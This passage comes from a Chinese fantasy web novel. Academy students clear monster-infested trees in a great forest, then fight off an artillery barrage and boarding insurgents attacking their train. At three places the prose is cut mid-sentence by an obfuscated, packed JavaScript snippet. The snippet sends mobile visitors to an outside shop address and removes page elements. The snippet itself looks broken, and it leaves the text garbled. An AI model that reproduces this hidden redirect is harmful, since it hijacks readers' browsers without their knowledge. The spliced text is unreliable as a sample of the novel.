安杰洛支着头想了一会儿,“你怎么知道大树海里,就没有可以逃亡之处?” 黎晓一怔,恍然道,“——你是说,可能有人私下攻略了树王,得到了隐藏的据点?” 身旁所有人都不由竖起了耳朵。 “谁敢保证没有?”安杰洛轻巧的说道,“加洛林皇帝陛下一个人就攻略了铁马镇。攻略望阙镇也只动用了120名皇家近卫。大树海里亡命之徒何止千百,未必就不能组织起来。” “但是加洛林皇帝穿着神赐礼装,120个皇家近卫也都是穿着最强礼装的顶尖alpha。”沙奎尔忍不住插嘴道,“攻略树王,没有500常规军拿不下来。” “流亡在外的废帝余孽都有,流失在野的神赐礼装谁敢保证一定无?就算没有,在大树海里武装几百个亡命之徒,难道还怕不能回本吗?”安杰洛说着就打了个哈欠,“说不定这里还有叛党的据点呢。” “什么年代了,还叛党?”众人不以为然,“你说的总不会说复国小丑团吧?” “高端礼装也不是有钱就能买到的吧。” “亡命之徒,能有什么能耐?” 安杰洛也哂笑一声,不再多说。 屏幕上,前往零号车厢集合的十个人都已经出动了。 他们甚至没有分派人手去清理列车两侧的噬导藤,便直接列阵向着前方的巨树走去。 ——看来标准答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726869|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快就要公布了。 战术组普遍都有些焦急,不再理会他们的讨论,纷纷埋头作答起来。 很快便有人抢先发送出自己的回答。 黎晓依旧没有开始作答。 倒不是她不着急,而是她忽然想到,她可能遇到过“复国叛党”——劫持他们飞机的恐怖组织,不就叫“萨克森复国骑士团”吗?并且,他们确实试图胁迫飞机飞向大树海。 “大树海里也许有恐怖组织的据点”这个判断,居然也许是说得通的。 可是,先前在天上劫持民用飞机也就罢了,眼下可是在大树海攻略区的腹地袭击军用列车啊! 这个小丑一样的恐怖组织,是不是有些太嚣张了? 姑且假设这个组织尚有清醒之辈,这次袭击是深思熟虑之后的决定,那么—— “就算他们攻略下树王,在大树海里有一个隐秘的据点,”黎晓接着说,“可是,他们就不怕暴露据点,引来围剿吗?” 安杰洛哈欠打到一半,神色微妙的抬眼看她,“你相信大树海里有叛党据点?” 黎晓:……这不是你说的吗?! “姑且假设有。”她抬头看了看正前方的屏幕,“眼下的状况,与其相信巧合,宁可按照最坏的可能来思考应对策略。” 安杰洛笑起来,“我倒觉得大可不必如此。”他压低声音,凑前说道,“听到广播里的语气了吗?就算不是将计就计,肯定也早有准备。根本就是趁机考我们。要我说——你要是没打算争那个出动的名额,就不用操这么远的心。能想到要提防人为袭击,作为装备组,也就足够了。” 黎晓愣了愣,小声说,“可是……我想争的。” 安杰洛目瞪口呆的看着她。 而黎晓也不甘示弱的看回去,反击,“倒是你,居然不想争吗?我以为你宁可争了再让出去,也不会不争就退。” 安杰洛张了张嘴,突然自嘲的笑了起来,“也对……”他语带嘲讽,却意外的并不像是针对黎晓,“可是,既然要让出去,我为什么还要争?炫耀我比别人都强吗?——别幼稚了大小姐。有些才华本不该你有,你却有了,已经够可悲。还要把它展现出来,是有多蠢?” 然而还不待黎晓听清,便已转而说道,“要争你自己去争,”他看向正前方屏幕上仿佛不知恐惧为何物,正在魔兽的虎视眈眈之下准备去清理噬导藤树的十个人,“我有自知之明。当好装备师便可,不打算跟战术组的人竞争。” 察觉到她可能是omega之后,安杰洛对她的竞争之心好像瞬间就熄灭了。 被他找茬,固然窝火。 可他此刻有气无力的态度,还更令人不自在。 “随你,”黎晓莫名的也有些刻薄起来,“不过,你确定一个不能随同出战的装备师,能胜任随军装备师?” 安杰洛微微眯起了眼睛。 周围的人几乎以及都提交了“作业”,黎晓便也不再拖延,开始低头输入自己的答案。 “能打下一个据点,就能打下第二个。”安杰洛却再次开口,“帝国在大树海有几十个据点,只有七个是不可替代的——如果不考虑成本,就连这七个,也未必一定不可替代。” 手指停住了。 黎晓看向安杰洛,“——暴露据点,不是不能承受的代价。” “没错,只要斩获够多,”安杰洛一笑,“据点算什么?亡命之徒、丧土之人,难道还会眷恋荒郊野外一棵随处可见的树?扔掉换一棵就是。” “所以,他们到底想要从这趟车上得到什么,学生吗?” 而后,她和安杰洛同时想到了些什么——是的,学生。 这趟列车上,最少有两个足以成为政治筹码的学生。 而现在,他们都已经离开了列车。 39. 荆棘与蔷薇(九) 照明弹的雪白的镁光之下,地面上一切都无所遁形。连影子都蜷缩在人的脚下。 世界明亮得近乎虚假。 在逼近噬导藤树取食的边界前,陆清源伸手示意身边同伴停下。 “任务是什么,大家都清楚吧?” 他问道。 “明白。”答的人都很果断,没答的人却连声音都无。 陆清源目光扫过罗贝尔——伊岚公学雷打不动的次席,也是帝都军事考核的第四席。 他能接收到她那无时不在的强烈竞争心,故而对她的沉默稍感意外。 但也就在他目光扫过去时,这位总是能将不友善遏止在不违礼节的范畴内的alpha,已拔剑晃了个剑花。 明光之下她本就浅淡的肤色越发雪一样白,冰蓝色的瞳孔里有压抑的情绪,混合着斗志和某些与斗志相违背的东西。 “上吧。”她淡漠的说。 陆清源目光便又扫过安德烈,心照不宣的沟通之后,他点头,轻声下令,“按既定策略——出击。” 学生们各自散向既定的方向。 陆清源把手中武器化作长杖,杖尖点地之后,因夜露而湿润的地面上,坚冰沿着铁轨的方向急速蔓延开来。一个呼吸之间,就已蔓延到噬导藤树之下,而后顺着噬导藤树上行,瞬间便将那张牙舞爪的巨树冻成了冰雕。 但这必定不能持久——便如集合成军队之后,个人的缺陷可被集体的协力掩盖和弥补,噬导藤在吸收大量导力并纠集成树之后,已脱胎成截然不同的魔物。想靠低温长久的困住它已然不可行。 冰冻只是暂时的。 成铭和罗贝尔提剑加速,趁着噬导藤被短暂的迟滞,一左一右砍向它无保护的树干。 骑士手甲加持之下,灌注导力的乌金刀刃可一击斩断30公分厚的钢板,然而砍在噬导藤树的树干上,却只留一道虬结的伤疤罢了——这怪树的愈合能力比传说中还要惊人。剑锋所及之处受伤的细胞疯狂增殖,增殖的速度甚至超过了剑刃斩切的速度。刀锋越是向前,所遇的树干便越是坚硬滞重。 然而负责这一击的两个少年都是迎难而上的性格,竟未因此产生任何动摇。硬是一路加重力道,分秒不违的完成了这一击,趁势突破了巨树的阻拦抵达对侧,对巨树形成了夹击的态势。 落足之后,便有藤鞭携带着风势抽击过去。 成铭已立稳了脚跟,双手握剑,迎着藤鞭斩去,剑锋将逃出冰封的藤蔓齐齐斩断。 罗贝尔也趁势回身,摆好了架势。 陆清源冰控着巨树,和安德烈一人一角站定。 四人各自打出手势,议定时机,同时抛出一只嵌着特殊花纹的陀螺仪。 ——这是用来设置临时隔离结界的设备。野外探险时,可以暂时用来保护无人驻守的营地。这种隔离结界稳定性虽然有一定的保障,强度却十分有限。按说承受不住过于猛烈的冲击。 然而负责设置结界的四个少年都毫不怀疑,有安德烈·罗西在,这结界的强度足以抵御眼前任何魔兽的攻击。 以陀螺仪的边角为界限,透明的空气壁交接成牢笼,将巨树整个儿圈禁其中。 安德烈比了个ok的手势,陆清源便将冰控撤去。 噬导藤树终于挣脱了坚冰,暴怒的藤蔓在透明的墙壁上胡乱排击。冲击在墙壁上荡起一圈又一圈的光纹,墙壁却纹丝未动。 分成两组各自行动的学生中,有人不时疑虑的向后张望,却见陆清源和安德烈毫无惧意——分明是对那结界的强度毫不怀疑,惊讶之下,不觉也稍稍安下心来。 魔兽的直觉却比这些少年们敏锐得多。 几乎在那棵噬导藤树被隔离开来的当下,便已知威胁解除,开始向着此处冲击。 这些少年都是各省军事能力考核的优胜者,战斗资质出类拔萃。 虽然大都经验不足,然而少年热血之下,却也并不感到畏惧。 受命阻拦魔兽的,早已提着武器迎面而上。受命修复林荫回廊的,反而不免心中烦闷——这种任务必须有人去做、却不免枯燥无聊,大材小用。 但论说枯燥无聊,却是陆清源的任务最枯燥无聊。 ——他需要把眼前已经被困住的噬导藤树拔除。 斩击已被证实无用。 剩下的方法,就只有火烧了。 无非就是不停的烘烤和引火,直到耗尽它的再生能力,让明火烧起来。 成铭已经杀了出去。 留下修复林荫回廊的,只剩安德烈和罗贝尔。 真正能“修复”林荫回廊的方法,实际上只有一个——补种梓木,而车上当然没有携带梓木。 但梓木驱逐魔兽的能力,归根到底是“树王”能力的延伸。梓木更像是一种传输和扩散信号的“基站”,可以短暂接续这种“信号”的设备,所有树海班列都会随车配备。 而设置和调控这种设备,无需任何能力。 安德烈被分配来调控设备很正常——他一直都很擅长。 可罗贝尔想不出自己被当成后勤人员来使用的理由,唯一的解释只能是——她又受到了“特别关照”。 她已经受够了“特别关照”。 她是一个alpha。一个不逊色于任何男人的,alpha。 两侧魔兽潮水一般涌上来。 虽汹涌不断,然而单薄的梓木林对它们而言却是牢不可破的堤坝,就只有中央窄窄的那道缺口可以冲击。 若在人类社会,此处便是易守难攻的山谷隘口。只需布置少量精兵,便能阻拦百万大军。 安排三四个学生,在强大武器的加持之下短暂拒守,并非不可达成的任务。 但这些天之骄子们各有性格,自幼年起他们便是同龄人中最强的alpha、众星拱月的核心,他们还不习惯接受领导、听从命令、分享荣誉。身旁势均力敌的伙伴,比起配合,更能激发他们的竞争心。 从据守转而为冒进,只需一次小小的战术优势。 当眼前魔兽的潮水出现短暂的缺口时,终于有学生抢先突出,冲入兽潮之中。 一切就在罗贝尔的眼前发生。 ——愚蠢!这是她的第一反应。 ——为什么这么愚蠢的男人也能得到承认,她却不行?这是随之而来的怨愤。 救援已来不及,或者该说,她的任务原本也不是战斗,而是确保能在战线崩溃前设置好“基站”,能让战友及时撤回。 而现在,战线崩溃只在眨眼之间了。 在此之前完成任务,已非人力所能及。 罗贝尔瞬间决定暂缓任务,手中武器一甩,如月华般皎洁的长剑便在手中展开了。 “冲出去,援护他!”她立刻向身前其余三名同伴下令。 她的命令救了冒进者。 ——冲出去的瞬间,先前被同伴分担的压力,便翻倍集中到他一个人身上。 他四面受敌,立刻淹没在兽潮之中。 所幸他的同伴既不甘人后,又因罗贝尔的命令卸除了心底原本就不多的犹豫,及时抢压上前,分去了魔兽的注意力。 但压上去之后,所有人都感受到了,他们所遭受的攻击比先前不知强大了几倍。 从游刃有余转而为艰难招架,竟然只有前进几步的距离。 可是激战之中,前进容易,后撤却难——若不杀出足够的空间,后退必成溃退,光是重吨位魔兽的践踏便足破坏局面。一旦让魔兽冲破了梓木林的缺口,必然连累整个任务失败。 罗贝尔的声音再次及时的传来了。 “——集中两侧,让出中央。” 四人都有一瞬的犹豫——两两集中之后,他们身上压力确实能减轻,可是,中央防线被腾空出来,该怎么办? 但激战容不得他们犹豫。他们几乎每个人都是两三面受击,听与不听,都是溃败在即。 …… 防线中央被彻底腾空了。 几乎就在魔兽将要从此处冲入时,一道刺目的白光亮起了。 像是导力炮的光芒,却比导力炮更灼热和锋利。所过之处一切都在滋滋的响着、蒸发着。而焦糊的气味在触及鼻端之前便被随之而来的风压吹散了——所以,连气味都不会留下。 待那光芒消散之后,中央一线的魔兽,就只有几只庞然巨兽,留下了被空洞贯穿的残缺的尸体。 前线战友因震惊而短暂迟缓。但魔兽无疑也被这等威力的攻击震慑了,攻击一时松懈下来。 罗贝尔收起了长剑,再次淡漠的提醒,“趁现在,退回原线。” 四个人无一犹豫,全都顺从听命。 ——尽管罗贝尔攻击时,他们都忙于交战无暇回头,根本不知道她做了什么。可是,谁年幼时没看过以“骑士”为主角的动画呢?动画中总是充满了诡异的搭配,代表人类最先进技术的礼装骑士们,随身携带的武器居然永远都是冷兵器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726870|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长剑。明明是长剑,却居然能砍出导力激光束一般的热武器效果。受攻击的敌人不怀疑那长剑是导力炮伪装,去总是大惊小怪的高呼,“你居然掌握了剑气!”简直像在污辱小孩子的智商。 可是长大了就知道——神赐的十二骑士礼装,每一套礼装各有不同的武器和用途,唯有长剑,是每套礼装都配备的。 那剑名为“斩舰”,据说可将曾协助人类渡过灭世洪水的巨舰,一斩而断。 凭借的,正是所谓的“剑气”。 礼装佩剑的剑术中,确实存在“剑气”一说。 只要,你知道该怎么用——并且有能力这么用。 见过那长剑的光芒与威力,所有人都在这一刻想起了,身后的少女并不只是一名女alpha,她姓罗贝尔。 在传说中,罗贝尔是西方青骑士家族的姓氏。 ——她身上流淌着天授骑士的血脉。 轻微的嫉妒、遗憾和安心感袭来。 战线退回到最初,尽管这次魔兽攻击的压力更为减轻了,却已无人再想冒进。 然而就在这四人的注意力同时因心中百般滋味而松懈时,身前魔兽歪倒的杂乱尸身中,忽然有东西凌厉带风的从中弹出。 它太快了,所有人都看不清它究竟是什么,甚至不太确定形状——只知它如梭子般破风而去。 它距离四人的防线太近了,从发现到穿过,只足在眼角留一点残影的间隙。 而后便是“嘭”的一声巨响。 所有人都忍不住看向声音传来的方向。 ——一只隼一样的魔兽,被锋利的居中一切为二,落在了罗贝尔的脚下。 而罗贝尔面色微红,似是在气恼她身前四人再度被无关紧要的小事分去注意力的愚蠢,语气生硬的提醒,“管好自己的任务!” 四人连忙回神应对眼前。 陆清源收起了手中的小法杖。 ——面前的巨树,已被彻底烤成死寂的焦木。 枯朽的焦炭支撑不住庞大的身躯,在陆清源刻意的引火爆破之后,终于节节断开,轰然塌落了。 两侧的防线始终在激烈的对抗魔兽,罗贝尔那一边甚至一度危机迫在眉睫,可陆清源自始至终专注于自己那个枯燥的、毫无难度和意外可言的任务,没有对任何一边出手相助。 仿佛一切都不值一提一般。 此刻见两边“基站”都已设置完毕,才再次开口指挥。 “听我的指令,预备——”他目光扫视两侧,很快便看准了时机,“3,2,1……退!” 两侧七名正在同魔兽对战的少年同时领命后退,撤向梓木林所连成的一线之后。 有魔兽伸出触须试图拖住对手后退的脚步,也有魔兽趁机冲撞向前。 若自远处看,两侧战线同时陷入混乱,正是局势危殆的时候。 阵前的接应却是有条不紊。 成铭娴熟的将手中重剑化作导力炮,跃起,一炮将张着巨口撞上前的魔兽轰回去。借助导力炮的后座力轻巧的退回防线之内,而同伴已先一步在他的掩护下撤回了——他们这一队虽只有三人,却一路平稳得不值一提。 而对面四人在罗贝尔那一斩之后再无意外,很快也顺利撤回。 当“基站”将断开的梓木林再次接通时,正和所有人一道在车厢里待命的黎晓忽然感到一阵眩晕。 仿佛有什么东西尖利的吼叫着,自耳膜钻入了她的脑海。 无数的记忆在悠长的时光隧道之中飞掠而过……她感受到难言的情绪,欢喜的、悲伤的、愤怒的、痛苦的、孤寂的……就像将漫长的人生凝聚成仅有一帧的画面,而那最后的画面她确实捕捉到了。是一个浸润在光芒之中的,安稳沉睡的少女。 尖叫声停止了。 黎晓扶着车厢壁,自黑暗中回神过来。 身旁雷奥妮正关切的看着她,“你怎么了?” 黎晓看向前方屏幕——照明弹正缓缓的降落下来。完成任务的精英十人小队接到信号,正加速返回车厢。 而广播里依旧没有宣布谁获得了“下一次出击机会”。 看来她确实只失神了那么一瞬间。 “导力不适症吧。”安杰洛不以为意的替她解释,“刚才梓木林接通了,应该会有一波高能导力流从我们两侧流过。” 眼下显然并不是深究这个问题的时机。 黎晓点了点头,“晕了一下,已经不要紧了。” 40. 荆棘与蔷薇(十) 随着一声提示音响起,列车上所有的灯光同时熄灭。 黑暗中,只有正前方的显示屏亮着冰冷的蓝光,屏幕上显示出的指令迅速镇压了因为突然熄灯带来的短暂骚乱。 “列车即将启动,预计30秒后遭遇袭击。全员做好防冲击准备。” “以下人员,负责接引出战人员归队——” 悠长的汽笛鸣响后,列车缓慢的发动了。 车厢里几乎所有人都感到茫然。 遭遇袭击?防冲击准备? 精英十人小队还没有回到车上吧,这就开动了没关系吗? 还有“接引”是什么意思?把他们拉上车?还是说也需要“出战”? 话又说回来——遭遇袭击到底是什么意思? 是指魔兽的袭击,还是指……破坏梓木林的人类的袭击? 正常说来应当是指魔兽,可是…… 这种新兵的茫然和无经验造成了无声的混乱。 但这混乱也确实如预告一般,只持续了30秒。 ——袭击如期而至。 最先发现的,是趴在窗边试图透过排气孔看看“到底会有什么袭击”的何塞。 “好像有什么东西飞过来了。”他有些不确定的说。 更多的人趴到窗边去围观,不知是谁说,“……好像,是炮弹吧?” 死一般的静默之后,安杰洛大骂一声,“——就是炮弹!趴下,都趴下!” 镜头追捕远景总是比人的眼睛要慢一拍,四面悬挂的屏幕上,到此刻才终于显示出了那拖着长长的尾焰,如漫天星辰滑落一般密集的向他们袭来的东西的真容。 ——是炮弹。 恐惧的感觉很淡薄。 虽然大部分人都听从指示立刻趴下,做好了抵御准备,但很少有人有什么实感——他们出生成长在和平时期,战争已经结束了将近100年,这一百年里人类唯一的威胁就只有兽潮里的魔兽而已。人类的炮弹对准的从来都不会是人类——至少不会是帝国的公民。人们对于人类兵器的戒备心已经降低到了历史极点,有时偏远的城镇施工意外挖出百年前战争遗留的炮弹,人们还会特地跑去围观。 虽然报考了军校——但二军大是对魔兽作战的特化训练军校,他们从来都没有“可能会被人类瞄准或者需要去瞄准人类”的自觉。 而后炮弹落下了。 爆破声震得所有人眼冒金星,巨大的冲击几乎要把人撕碎了。连列车似乎也有一瞬间巨震。 但冲击实际上比预想中要小得多。 ——虽然对遇袭没有实感,但他们毕竟还有常识。那样密集的炮弹暴雨砸下来,就算是装甲列车也不可能毫发无伤。 而他们居然还活着,除了部分人防御不及时耳鸣鼓膜疼外,甚至都没怎么受伤,这本身就很不可思议。 还没被吓破胆的人全都下意识的寻找缘由。 四面摄像头居然还在运作。而趴在窗子边向外张望的人,看得却更清晰些。 ——弹药如雨一样落下,却悉数打到蜂窝镜面一样的防护结界上。爆炸在结界上炸开一朵又一朵绚烂的大丽花,就像一场近在眼前的焰火表演。那样密集剧烈的袭击之下,却没有任何一颗子弹穿透结界。 那镜面的防护结界他们曾在无数征兵海报和影视作品中见过。这技能的原型名为“神圣庇护”,在历史上是专属于皇室的神赐礼装“君权神授”仅有的两个技能之一。历史上一切皇子都必须能发动“神圣庇佑”才可获得皇位继承资格,这代表着他有能力承担起守护臣民的职责。它是资格,是力量,是受难众生的希望,也是骑士最巅峰的荣光。 ……但当然,以十二骑士为代表的神赐礼装时代早已结束。 随着导力革命进入第四次技术飞跃,人类已经能逐渐破解神话时代的技术。 不知是因为“君权神授”所代表的两种力量是人性最普遍的信仰,还是因为加洛林皇帝的授权,使得“君权神授”成为最早被解密,也是被研究得最透彻深入的神赐礼装——总之“神圣庇佑”是最先在现代的骑士礼装上实现的神话技能,虽不比传说中加洛林皇帝以此庇护整座城市的威力,却也足以使技能发动范围之内的领域,成为时限之内的绝对堡垒。 它是现代军工最尖端的代表,象征着帝国军人守护家国的力量,激励着无数热血青年奋勇上前。 而现在,这些一年级新生们,亲眼见证了这种力量。 但几乎没有任何人对此感到激动。 ——被炮火袭击的恐惧感虽然迟到片刻,但终于还是笼罩下来。 所有人都意识到——他们遇袭了。并且几乎是手无寸铁的,被推到了交战的最前线。 “诱饵。”安杰洛克制着恐惧,几乎是咬牙切齿的吐出了这两个字——他跟黎晓讨论到了遇袭的可能,却丝毫没料到居然是这种大手笔的遇袭,更没想到他完全猜错了诱饵。也对,谁会把三个实权豪门的子嗣抛出去当诱饵?就算胆大包天到用整趟列车当诱饵,也得先把这些小贵族送到相对没那么危险的地方,对吧。 他抱着胳膊,指甲几乎掐进肉里,才迫使自己镇定下来。 为发泄压力扭头准备对黎晓开嘲讽,却只看见黎晓推开车门走出去的背影。 他愣了一愣,忙抬头去看显示屏——没错,一号车厢被选中去接应出战人员的,就是她。 虽然确实是她没错。 但是在这种情境下,居然还能毫不慌乱的去执行任务,这个女人,真的是进取到了令人感到恶心的地步啊! 安杰洛拍了拍手,恼火的出声吸引车内众人的注意,“都保持镇定,既然有守护骑士在,炮弹肯定打不过来。先查看有没有伤员,列队修整待命——敌人准备的这么周密,难保不会近战劫车,我们也不能松懈了!” 战术系几双眼睛恼怒的瞪了过来,然而此刻并不是争论谁有资格发号施令的时候,既被先声夺人,得到了这么正确到无话可说的指令,也唯有服从。 虽然在这种场面下稳住了局势,感觉很爽。但被alpha们瞪得有些紧张的安杰洛,还是不由自主在心里大骂黎晓——如果不是受她刺激,他根本就不会脑子发热,跟这些导力怪物在领导权上竞争。 。 被人私下痛骂的黎晓,却丝毫没有对方想象中的那么目标远大。 事实上她也被这突如其来的袭击给震懵了,脑子里一片空白。 就只是遵循着后天训练出来的类似于本能的习惯,越是在危机之下,越是在头脑僵硬想要放弃和退缩的时候,就越是要前进,并且精确专注的前进。 ——只要让头脑全神贯注的去思考应对危机的方法,就没有余裕去慌乱、恐惧、猜疑、动摇。 ——只要让身体动起来。 成铭还在外面,他还没有安全撤回。 她怎么可以在这种时候被这种程度的困难打倒! ——她得出去接应他。 列车还在缓慢的发动中。 守护之盾发动需要消耗大量的导力,结界内的空气中导力元素已经变得十分稀薄。 呼吸很顺畅——富导造成的导力不适症也消失了,身体很轻快,眼睛和耳朵也很灵敏。 注意力前所未有的集中,四周的一切都看得很清楚。 ——十个出战人员都在视野之中,全员平安。成铭没有受伤。 队伍的阵形也很整齐,殿后的是安德烈和陆清源,成铭和尤利娅负责侧翼掩护。 掩护?有敌人出现吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726871|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等等,肯定会有敌人出现吧——毕竟这次的袭击者可是提前挖断了梓木、种植了噬导藤树,甚至还准备了足以把列车炸成铁皮棺材的弹药当量。怎么可能甘心不交战就撤退? 密集弹药的掩护之下,他们必定还有别的动作。 是会袭击出战小队?还是列车? 正常说来,应该还是出战小队吧——毕竟列车上有装甲和守护骑士在。 要去支援成铭他们吗? 说起来,其他的接引人员呢?似乎只有她一个人出车厢了——等等,四号车厢也有人出来了,六号也,二号……看来九人接引小队,很快就会集齐。 黎晓头脑精密的分析着眼下的局势。 而后变化再一次发生。 ——敌人,或者说敌军出现了。 配备和素质参差不齐,看上去像是乌合之众。但是阵型中有两名全身披甲的骑士。 ——骑士的层级跟普通的战士是不同的。 帝国现服役骑士79人,已足以支撑帝国成为全世界战力最强大的国家。 现代的骑士礼装虽然已经不只有紫瞳、蓝血才能驾驭,但是对内回路的需求依旧是变态级别的——毕竟,现役全部军人中也只能挑出79名适格者。鉴于最强大的alpha都会涌向军队,所以,哪怕说全帝国十亿人口只挑出79名适格者,怕也并无太大的误差。 ——每一个骑士在卸去装甲之后,战力都可以和陆清源一争高下。 全身披甲之后,更是可以一骑当千,单兵成军的怪物。 ——要出动了。 黎晓在一瞬间就意识到了。 ——列车上的骑士并非为保护他们而来,只怕从一开始就是为了眼下的状况而配备。 袭击者固然谋划周全,但我方的应对显然也绝非毫无准备。只怕早已提前得知情报,将计就计。 ——诱饵并非陆清源他们,整列列车都是诱饵。 唯一的疑问在于,为什么。袭击这样一车学生究竟有什么好处?还是说,跟上一次劫机一样,关键不在于乘车的人,而在于车上搭载的某样东西? 但眼下当然没有闲暇思考这些。 守护者之盾开始发生变化。 那护盾原本由无数蜂巢一样的小盾牌组合而成,而现在那镜面一样的小盾牌中大部分,已经还原做流金属原本的形态——微小的流金属立方。 护盾不再覆盖全领域,就只“够用即可”的挡住已经变得稀稀落落的炮弹——或者说流弹。 而后三号车厢上装甲打开,先是着甲的单足落地,仅止正面全甲的骑士悠闲的前行,流金属的机甲自列车上点滴剥离出来向着他的身躯聚合。有一瞬间他身后的零落的礼装,就像是春日月色之下一树迎风飘散的飞花。 而后瞬息之间飞花聚合,骑士着甲。 已撤出护盾的流金属立方凝合成刃面流光的双刀。 那高达三米的,无论从任何角度去看都是机甲巨人的骑士,意外的长腿细腰,静立的那瞬间姿态优雅含蓄如低头沉思的钢铁武士。而后,他手握双刀冲了出去。速度快的像是一道流光,凌厉得仿佛交战瞬间就能斩断敌人的脖子。 那流光是曲折的——骑士在杀向敌阵的途中,逆行斩落了飞向列车的最后一波炮弹。 ——骑士出战。 而列车上,也不再有绝对防御的守护者之盾。 车速缓缓提起了。 跑在最前面的出战人员抓住列车侧面的铁桥,陆续回到了车上。 而黎晓则翻身攀上了车厢顶部,集中全部精力,戒备着四周的动向。 就在其余八人都回到车上,而成铭和尤利娅握住铁桥的护栏准备翻上列车时,另一波敌袭,如期而至。 41. 荆棘与蔷薇(十一) 最先飞来的是一把圆刀。 ——大约有二十几个黑衣人在先前炮火的掩护之下接近了列车,其中一人盯准了尤利娅登车的时机,飞刀袭击她。 那飞刀力量太过霸道,尤利娅被迫松开护栏侧身闪避。 一个回身的间隙,便错过了上车的时机,敌人已经向她涌来。 外出接应时可以领到制式的兵器,黎晓当时头脑空白,却没有下意识选取自己惯用的长刀。 ——她选的是轻炮,为的就是能远程掩护。 至于自己当时为什么会作出这样的判断,大概只是课本背得比任何人都熟的优等生,对课本权威性的下意识信任吧。 总之几乎不需要有任何犹豫,扛起轻炮对着敌人密集处一炮打过去。 威力比想象中更大一些。后座力撞在肩膀上,几乎让她退了一步。 稳住身形后,她便高声提醒尤利娅,“先上车!小心别掉队!” ——黎晓看得出尤利娅充满斗志。从尤利娅偏偏要在陆清源面前全力轰出一发“斩舰击”时,黎晓就对她产生了一种微妙的理解感。她就是下意识的知道,这些偏偏选择来围攻尤利娅而不是成铭的“歹徒”,会在某个点上激怒这位女alpha。 而她的提醒,也确实让尤利娅瞬间就从愤怒中清醒过来。 趁着敌人短暂的被炮火阻住,尤利娅于是拉住最近一个车厢上接引人员伸出来的手,一跃回到列车上。 劫车的敌人已经逼近了,接引人试图关上车门——这是一个并不违反命令,虽然保守但也不失为理智的做法——他们的职责其实可解读为“留守”。如果让敌人通过车门攻入车厢内部,无疑是战术上的败绩。 何况,他们就只是学生而已。跟魔兽作战不论再怎么危险他们都不会退缩,可是,跟人类捉对厮杀是另一回事。 他们中大部分人,其实都还没有做好“跟人类厮杀”的心理准备。 但尤利娅毫不犹豫的在车门关闭前,翻身攀上了车顶,向着黎晓的方向奔跑过去。 ——列车虽已发动起来,但还没有提升到全速。而这些前来劫车的敌人显然都穿戴了可以提升速度和跳跃力的下肢礼装,虽被炮火延误片刻,却很快便又追赶上来。已经有人攀住一号车厢的车厢壁,正向着黎晓袭去。 接应她的人还身处险境,尤利娅拒绝在这种情形下独自回到安全之处。 ——而黎晓选择撤退。 敌人已经攀上列车,就算对列车的装甲充满信心,她也不可能肆意把导力炮往自家堡垒上轰。 比起被杀、被俘,撤退是最理性的选择。 十人先攻小队已经全部回到车上。 尤利娅遇袭时,成铭和陆清源都还没有进入车厢。尤利娅遇袭的这短暂间隙里,他们两个都已经做出应对——成铭在车厢的另一侧阻拦先前攻击他的敌人,而陆清源已经和追击黎晓的敌人接战了。 其他刚刚撤回的人,应该也会很快就会折返支援。 对自己的背后,黎晓毫不担心。 但跑了没几步,她便停住了。 ——她身旁和后面的车厢上,也有敌人攀爬上来。 尤利娅奔跑到她的身边,回身挥刀一斩,击退了自己身后追来的敌人,将她保护在手臂后方。 “后面的车门都已经关上了。”她提醒黎晓,而后询问,“——你能打吗?” 黎晓先是懵了一下——车门关了?为什么? 从头到尾一切指令,到底是出于何种考量?以列车上180名通过严苛考试进入军校的优等生的战力来看,演变成眼下的局面,怎么都不能算是合格的指挥吧! 但现在显然不是想这些的时候。 自有记忆以来,她从未像此刻这样认为自己会成为别人的累赘。但事实就是——扛着完全发挥不出她机动性的肩炮,面对全副武装的敌人,她肯定是不能打的。 迟疑之间,侧面的敌人已经袭来。 黎晓来不及回答,双手抓着炮架旋身一挥,借助炮身的重量,用炮筒将敌人击退。 然而自己也被惯性牵着差点飞出去,脚下碎步交替才稳住身形。 尤利娅拉了她一把,再一次开口,声音清晰又安定,“能打就好——配合我,帮我看住背后的敌袭。” 她并没有点明“配合”的方式。 但就像双人的旋舞,真正高明的引领者自然就能牵引同伴舞蹈的方向,有时他的同伴甚至无需习得高明的技巧——只要身体素质能跟得上他的牵引即可。 而在体术的领域,黎晓当然不是什么拙劣的初学者。 如果只是做尤利娅背后的眼睛,帮她防住攻击判断局势,黎晓自认是能配合的。 但实际配合的流畅程度,依旧远远超出她的预料。 ……当她们在敌人的包围下脊背相依,准备开始作战时,黎晓几乎一瞬间就从她背上肌肉发力的方式,预判到了她接下来的动向,身体自然便做出了反应。 